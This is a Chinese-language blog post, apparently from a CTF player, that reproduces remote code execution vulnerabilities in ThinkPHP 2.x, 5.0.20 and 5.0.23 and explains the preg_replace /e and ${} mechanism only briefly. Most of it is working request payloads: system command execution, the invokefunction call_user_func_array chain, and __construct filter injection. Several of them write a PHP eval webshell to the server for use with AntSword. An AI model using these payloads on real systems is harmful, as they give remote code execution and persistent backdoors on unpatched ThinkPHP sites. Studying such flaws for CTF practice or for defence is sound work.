ThinkPHP历代版本漏洞复现
ThinkPHP历代版本漏洞复现(未补完)
校赛遇到一道PHP5.0.23版本的rce漏洞,复现完想着把整个这系列的洞都打一下
ThinkPHP 2.x RCE
这个版本下有个preg_replace的e模式匹配漏洞
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
具体原理其实不大懂,后面自己的理解大概会补。?
先把洞打穿吧
这里贴一下BUU的题目
原理
在PHP当中,**
${}
**是可以构造一个变量的,{}
写的是一般的字符,那么就会被当成变量,比如${a}
等价于$a
thinkphp 所有的主入口文件默认访问index控制器(模块)
thinkphp 所有的控制器默认执行index动作(方法)
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
- 数组`$var`在路径存在模块和动作时,会去除掉前2个值。而数组`$var`来自于`explode($depr,trim($_SERVER['PATH_INFO'],'/'));`也就是路径。 所以我们可以构造poc如下: ```php s=a/b/c/${phpinfo()} s=a/b/c/${phpinfo()}/c/d/e/f s=a/b/c/d/e/${phpinfo()}.......
所以连蚁剑或者直接phpinfo()查一下都可以
poc
s=/1/2/3/${@eval($_POST[1])}
s=/index/index/index/${@phpinfo()}
s=/1/2/c/${@print(system(env))}
ThinkPHP 5.0.20 RCE
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php @eval($_POST[pwn]);
ThinkPHP 5.0.23 RCE
s=captcha
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo();?>" > test.php
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_POST['pwn']); ?>" > test.php
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Blog of AyaN0!